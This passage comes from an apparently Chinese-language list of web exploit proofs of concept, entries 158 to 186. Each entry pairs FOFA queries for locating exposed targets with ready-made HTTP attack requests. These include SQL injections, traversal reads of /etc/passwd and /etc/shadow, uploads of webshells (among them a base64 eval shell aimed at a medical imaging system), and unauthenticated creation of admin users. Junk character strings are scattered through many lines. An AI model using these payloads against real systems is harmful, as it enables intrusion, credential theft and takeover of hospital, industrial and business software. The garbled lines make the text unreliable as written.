, H& A  d; t7 {/ D, c+ bContent-Disposition: form-data; name="filefolder"
) B5 U; M( G- ^* K& U
4 O5 _1 ]9 [1 ~" q/ |/ Inull
------WebKitFormBoundary1imovELzPsfzp5dN--
% t' ]* ?. T0 }4 C) [

6 N+ K- @' U( G# C3 w+ ~: ]http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
5 \4 c; q7 R. I4 P5 X( T" Q' v
158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
. O& s$ a" y9 ~$ v. hContent-Type: application/x-www-form-urlencoded

" e$ o8 f' z! |  o, Q% _/ J+ |6 u/ Z- s. Pobject=displayregion&contenthistid=x\'&previewid=1
8 X5 Q7 t. X6 V, ~
& |/ {2 v9 l2 G" F; v  [; K: G: x
- P' U8 g5 _' G" |159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
* X& K7 c& T7 UFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
( p+ w7 e5 q/ g( k8 z" tContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
) S) _" J8 @) {# |1 F: x' C<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
* C) v/ I) ~$ P<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
4 x7 A" M8 m6 F- ]</jobUpload>
/ b: ~  j2 }4 [& j</soap:Body>
</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
" }/ Z0 {. P8 X4 E& E
! y3 y' G* f2 z! W6 R
2 ]( ^0 q" A2 J. a* m160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
FOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
, Q$ f6 R3 f. f7 s' T; x7 uUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
. G8 M2 S7 w4 k. f/ KConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
2 Q: g; Q+ k8 c2 B* n0 S0 a

; U( q, q( ]4 d5 l( a161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
, \2 @) j6 A: E  X" w8 R0 l第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
$ C* t: c$ }) o0 r- ZPOST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
# G7 r6 v8 l! X+ U' }Connection: close
Content-Length: 445
Content-Type: text/xml
4 j* S& ~7 m& Q0 sAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
" I4 U! n2 {0 m: u<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
+ p5 T$ y; ^) k' v2 n0 P# s<fileName>../../../../dizxdell.aspx</fileName>
! v" p9 H% n% ?: J<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
</UploadResume>
/ M7 @8 D, D( `</soap:Body>
4 X! b) ]- I7 X$ D</soap:Envelope>
3 c5 o) t* u/ Z2 }9 n% A1 b/ E& q
% F* v" l9 p% K- R! S
4 k2 Q4 E. I' r, X8 khttp://x.x.x.x/dizxdell.aspx
" O% p$ r7 N" j; w& _
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
$ J0 _' E$ ?# p0 {) R; Q# F6 ?FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
6 Q) `5 d1 t; ]2 V0 vConnection: close
Content-Length: 583
; u( P. m- i; ?( T, qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
1 \; D, w9 d0 r- A$ S# N( K4 fAccept-Encoding: gzip

4 I6 j  n6 g' d6 i------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
/ q8 ]5 i8 M! [) y2 O! s
3 [# X! N9 N7 e8 i0 i$ U$ p) E<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="action"

! l: q. Z3 @, e$ Tupload
------WebKitFormBoundaryeegvclmyurlotuey
4 m. m0 i# ^/ b  D4 v: FContent-Disposition: form-data; name="responderId"
6 v2 }$ O! R( R7 m6 s
* e% C: m/ M( H+ s( V& j  Z5 ]ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
$ z! p* e6 o7 j8 \3 N3 t( JContent-Disposition: form-data; name="remotePath"
& d: t4 j$ Q, y4 m
/opt/resources
! o$ C9 P4 {' p$ p8 B------WebKitFormBoundaryeegvclmyurlotuey--


' I; x& Q- y$ }9 E4 ~, {http://x.x.x.x/opt/resources/kjuhitjgk.aspx
( `. M/ s2 `0 `$ S- h
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
FOFA: icon_hash="-795291075"
2 Z+ d# b$ E, g/ m/ m4 H* CPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
+ ?) F4 t" w9 G9 m- `. u8 Y/ W, [Connection: close
Content-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
/ S% I: N: k2 t/ U! E! ?Accept-Language: zh-CN,zh;q=0.9
' k$ O+ d0 L2 o- Z* lContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
1 L1 D% }: ^0 j4 W- |
) A  b% ?" f$ P# x------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
  ?4 q; M! v+ }  t$ W5 z
* r) S3 F$ c2 k1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
1 F0 L$ t, [. z  t! bContent-Type: image/jpeg

6 T& A7 z  Y! W/ b$ n& I7 W/ b1 |rvjhvbhwwuooyiioxega
5 s0 s$ g  z* x3 ]: x$ g; i------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
# S2 L. L1 Z% JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
; T! s- i* t0 \4 p* PContent-Length: 288
' O$ t! j! l& F" B; l" sAccept: application/json, text/javascript, */*; q=0.01
+ H/ k+ W. I- ]1 I9 n8 ~4 e/ tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
, a$ K6 b; r4 z3 i% G0 TConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
/ y) N/ g+ S* L. v- M! WX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
. ]& l4 _# d* H  X; u/ |# I
% y) y6 i" O: j" x' i; J. d  c------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
# l4 f2 {  G8 Y6 G$ f------dqdaieopnozbkapjacdbdthlvtlyl--


! x& d' [# a* s  X. b. S4 l5 t* @http://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
2 k" B7 p0 S8 I; i" d6 i
0 Z) U' N! m; l; w" }1 k165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
, [+ g* Y# U% J$ pFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
* X- o( H0 Y5 i, V9 I, g0 u, v
! P; C1 D% ]/ S* w
& t" `) H7 Q* v0 b' c/ M166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
POST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
  Z2 ^% n" [1 a6 {& oHost:
3 A$ D$ d* b6 ^) gPragma: no-cache
  a+ F! {- f. BCache-Control: no-cache
. h. z. x  W, a& x% y$ nUpgrade-Insecure-Requests: 1
+ i+ W- I* Q+ |) z7 ^6 ~6 u2 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 i2 N9 H$ M) s2 h0 WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
  W3 H! Z$ c# R; j  k# @6 U, rCookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
Content-Type: application/x-www-form-urlencoded
5 Z* q: |7 a+ `# c) G- b' rContent-Length: 89
% w9 |4 s6 q3 ]1 S# g5 @7 C
1 h/ ~0 S, b- o$ f/ y* l" yMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE

7 e  S9 ]% W0 f( G
8 b. C2 K  X  b  r167. 精益价值管理系统 DownLoad.aspx任意文件读取
' v2 p, x1 g" R% ^( _5 B& X* y9 FFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
! b; C% q- O# G8 R# U" yGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
' }, |$ {, I& A" a/ }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
8 h& z. K+ C* L# EAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
" d; N5 N+ B7 [7 D6 m  R6 n

168. 宏景EHR OutputCode 任意文件读取
- w* k) o0 [% H: E& Z" AFOFA：app="HJSOFT-HCM"
1 }, w# M) D# H% L1 X# M7 ]GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
1 n" N! ]/ w( p4 s' \Connection: close

& ~$ r: @. \, v% |+ I; w1 q& H

. z" Z$ \/ t! `1 J7 n169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
% @0 B! d7 ^7 p5 {; W7 jGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
' i0 F# |  ]1 C- s& f( u) @2 w- |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
9 E: C3 ~8 r1 k9 |  ?* A3 oAccept-Encoding: gzip, deflate
1 P0 j# I& W% B  [' C0 R/ @8 ]Connection: close
6 S' p6 m1 t! B7 M4 R
- V# G4 ?' R4 U: Q
% S% d3 V) ]# r8 o1 \
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
4 z1 S% d  Z  K9 Y7 g7 L5 f6 BFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
& ~9 {' }! M) z- b' A, uHost: balalanengliang
# z) m( t4 S# RUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: M& P5 S2 O1 W+ [Content-Type: application/x-www-form-urlencoded
6 P9 T7 P; e: \
. q  C( D# b" S0 Bfilename=../webapps/ROOT/WEB-INF/web.xml
- `8 J0 R2 S+ `: G

' E/ `4 n1 d2 u6 b4 c171. 通天星CMSV6车载定位监控平台 SQL注入
0 d& k+ d5 \! k& E( l. V" X# AFOFA：body="/808gps/"
/ M" @+ \0 |& O* aGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# d+ [, {, A- M8 r+ L7 vConnection: close

0 N& r7 T8 z; j0 W& {+ E0 W
$ c3 o& q1 x/ _4 D
( F  `  e' G3 {1 v172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
Host: your-ip
7 g: `( Z( Q& yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  p3 [' M( t6 \) rAccept-Encoding: gzip, deflate
Accept: */*
; ^, L) ^# m7 c. \1 m  V- q. tConnection: keep-alive
# R' M# J4 V3 A


173. Check Point 安全网关任意文件读取
! L! q% k. Q* T, O0 cCVE-2024-24919
2 l+ `' w# m- E/ E1 V4 cFOFA：app="Check_Point-SSL-Network-Extender"
6 \! u$ \" W2 h1 ~! s8 i) RPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

" H6 Q) R9 u6 S4 o* YaCSHELL/../../../../../../../etc/shadow
+ p' H( ]3 ^& m1 ^! x


174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
' Q! d; s. A: K4 s* AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
0 s- W$ n! Z. `! Y2 F# J3 K2 y* Q" \Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
+ q0 u" d! l" t; }Connection: close
* q6 D5 a8 d1 b* w- `
+ j0 N7 X9 K4 \3 @

175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
, G' Q5 p# J2 |: p( P1 d6 EFOFA：app="金和网络-金和OA"
, {+ ~1 d6 N' |, `5 k  T2 J! YGET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
5 C, |9 L( [* Q- y4 l* M* P4 PHost:
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 C1 J9 r5 ^1 {; O. b, L* y; yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 p' e- n0 b: w% a* H) t) f' |Accept-Encoding: gzip, deflate
5 H0 O5 n9 [. H1 N& z, C, t. ZConnection: close
Upgrade-Insecure-Requests: 1
+ J+ O$ d- `+ @( @1 a( {# l

176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
! O( g% y2 O: e6 p3 wConnection: close
2 K3 h6 X# U% C8 V7 s& ~
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
9 R3 p8 ]; L+ @4 m* ^& t6 \Content-Type: image/png

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
1 n/ p  V9 A! [% p# i9 y7 fContent-Disposition: form-data; name="uploadtime"

) |7 k- @* c1 |  F& L+ `
------WebKitFormBoundaryOKldnDPT--

# S6 W) s/ I6 _1 l4 H  @9 t
" S: v( P4 m  G' f
1 A. r6 h3 N+ Q4 X; X3 `177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
" S% x2 C% o( O% ~; i( B$ g/userLogin.asp/../actionpolicy_status/../M60.cfg
; F) Y; B! `" W5 a8 E3 A( w/userLogin.asp/../actionpolicy_status/../GR8300.cfg
" j- @, T7 O0 Q) N3 x1 w/ _, ?/userLogin.asp/../actionpolicy_status/../GR5200.cfg
: d  M: p( Y8 q$ ~/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/ b* i0 f5 q% [2 b* N2 N) }7 s/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
  I- H4 m* s8 v" r+ A% G/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
3 j! [" h/ F, g: p$ D1 j, O/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
3 V% A* g8 C4 e8 L- y/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
1 T5 E; M7 w. `* S9 @  l6 W2 O( t/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
( }6 M6 ~# J; Z9 ]8 N3 \3 t; v/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
" s$ Y# k4 h3 w: n; N$ C9 S/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg

3 M( P. R* b1 Z% p- P# u% k
. ~; V0 D+ I' m+ o4 Y178. H3C校园网自助服务系统-flexfileupload-任意文件上传
& ^  N! l0 v2 _0 B2 n) \* a' }' e) [- CFOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
6 Q1 i  I. c$ ~' K8 r% \9 LContent-Length: 252
Accept-Encoding: gzip, deflate
' v1 D% I. }. uConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
, ]* A; S5 p$ |; P- W/ xContent-Type: application/octet-stream
$ c: y$ ?* e! {. m3 g& r( hContent-Length: 255

12234
  ^# F+ d" ]! v5 [% c: R" _3 b' H-----------------aqutkea7vvanpqy3rh2l--
2 d& n% I7 G( D3 i: ]% `4 M
. ^1 Q) `& ^8 \6 w# D2 G; p+ ~
GET /imc/primepush/%2e%2e/flex/12234.txt
+ }5 i; g7 N" {

9 i: X  P. k, e7 I; [: h179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
; {: c  c; _. @9 F0 @$ EHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
) R  y+ ?3 m8 m+ P, d: O
7 D$ F1 A* c' g- P/ Vpath=../log4net.config&Name=
( Y# k6 z6 ?0 E* D
0 Q& t/ e  j, u- K! ?3 H
180. 帮管客 CRM jiliyu SQL注入
8 J+ n% p, R1 O, \/ FFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
4 {. {# Y& Q# u3 w4 [! B: ~3 fHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 W! ?, U5 p) u' E2 ]! h) v) H! HConnection: close


% E6 W, |& b% A! B181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
0 T. q* e2 z; J0 v8 dHost: your-ip
/ v, }& ~0 n! H- F: S) E! o6 PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
! P4 b! p6 s$ J

action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


$ u0 v  ]' q/ j7 Q182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
: X4 O" D- b0 B, aFOFA："PDCA/js/_publicCom.js"
6 p) C8 Y7 n* l% t: B5 p7 tPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
. ^" b' Q3 p8 }+ {5 Q4 K4 Y' B5 N+ iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: W7 U! ^" z. v+ h  L" nAccept-Encoding: gzip, deflate, br
# H% J2 X" l, s8 j" p& GAccept-Language: zh-CN,zh;q=0.9
7 d; R$ Q1 g1 VConnection: close
Content-Type: application/x-www-form-urlencoded
# V6 \1 |0 e; M2 o+ e3 [' \

username=test1234&pwd=test1234&savedays=1
5 [/ k- V4 Q# W/ N* J4 w/ y& ]- v& Y

183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
& n0 B1 ^. X) g. pFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
7 f/ N( c2 u* U' h  u3 h* fHost: your-ip
# S, L$ u5 ^! W" hUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
) Z" h: M( W2 l: X; |Accept-Encoding: gzip, deflate
Connection: close
0 h4 Z* C. G  Y, z- s
+ X. q6 b7 ~% \1 h0 H. q9 p
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
, P+ S- [9 n: R7 B* a9 mFOFA：server="SunFull-Webs"
/ B% v, n$ |/ p" e. E8 c. QPOST /soap/AddUser HTTP/1.1
, d% R8 f+ \' VHost: your-ip
- f- L3 c- X) w6 HAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
% Q. u. T3 }: |' o2 z& kAccept: application/xml, text/xml, */*; q=0.01
! n7 e) V+ b9 H  d7 O$ gContent-Type: text/xml; charset=utf-8
2 O! f2 L! w3 k+ ^! Q% uAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
' |, ~: `) P1 s# ^* j! V# O
! W# r: g4 K7 T
/ g1 G% m; j3 C$ U& c1 \! c) Vinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
! Q, `  `/ D% m
* B, z2 Q' T4 n9 N7 k9 I
6 V  O+ l2 D% P. v5 b" H185. 瑞友天翼应用虚拟化系统SQL注入
1 h8 F) S, ?2 d) Y* K# e8 f. kversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

# y  R# ~5 U2 P/ o4 }% K+ I
186. F-logic DataCube3 SQL注入
6 V" [# ?: X) t2 \CVE-2024-31750
* G1 g- r! h8 Y9 [  t8 a4 D/ ZF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
3 r" L2 U1 Z9 |" N9 eFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
6 P( d) p; A0 F/ M3 RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
9 U2 r  R( W% L3 e4 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
  J2 Q% e2 _( Q2 w& l! y9 DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* E/ o5 f5 ~2 ^0 t+ P3 W4 eAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

" u/ D# S+ m8 Breq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
